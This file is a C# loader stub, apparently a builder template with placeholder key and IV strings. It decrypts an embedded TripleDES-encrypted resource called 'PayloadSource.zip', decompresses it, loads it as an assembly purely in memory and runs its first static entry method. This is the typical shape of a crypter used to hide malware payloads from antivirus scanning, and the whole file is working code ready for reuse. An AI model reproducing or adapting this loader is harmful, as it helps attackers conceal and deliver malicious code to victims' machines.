77 lines
2.3 KiB
Cheetah
77 lines
2.3 KiB
Cheetah
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using System;
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using System.IO;
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using System.IO.Compression;
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using System.Reflection;
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using System.Runtime.InteropServices;
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using System.Security.Cryptography;
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internal static class PCLoader
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{
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private static Assembly pa;
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private static Assembly R(object s, ResolveEventArgs e)
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{
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if (e.Name.Contains("protobuf"))
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{
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if (pa == null)
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{
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using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("protobuf-net.dll"))
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{
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byte[] b = new byte[st.Length]; st.Read(b, 0, b.Length);
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pa = Assembly.Load(b);
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}
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}
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return pa;
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}
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return null;
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}
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[DllImport("user32.dll")]
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private static extern bool SetProcessDPIAware();
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public static void Main()
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{
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try { SetProcessDPIAware(); } catch { }
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AppDomain.CurrentDomain.AssemblyResolve += R;
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byte[] blob;
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using (var st = typeof(PCLoader).Assembly.GetManifestResourceStream("PayloadSource.zip"))
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{
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blob = new byte[st.Length]; st.Read(blob, 0, blob.Length);
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}
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byte[] key = Convert.FromBase64String("__KEY_B64__");
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byte[] iv = Convert.FromBase64String("__IV_B64__");
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byte[] dec;
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using (var t = TripleDES.Create())
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{
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t.Key = key; t.IV = iv;
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t.Mode = CipherMode.CBC; t.Padding = PaddingMode.PKCS7;
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using (var d = t.CreateDecryptor())
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dec = d.TransformFinalBlock(blob, 0, blob.Length);
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}
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byte[] raw;
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using (var ms = new MemoryStream(dec, 4, dec.Length - 4))
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using (var gz = new GZipStream(ms, CompressionMode.Decompress))
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using (var o = new MemoryStream())
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{
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byte[] buf = new byte[4096]; int n;
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while ((n = gz.Read(buf, 0, buf.Length)) > 0) o.Write(buf, 0, n);
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raw = o.ToArray();
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}
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Assembly a = Assembly.Load(raw);
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foreach (var tp in a.GetTypes())
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{
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foreach (var m in tp.GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly))
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{
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if (m.ReturnType == typeof(void) && m.GetParameters().Length == 0)
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{
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m.Invoke(null, null);
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return;
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}
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}
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}
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}
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}
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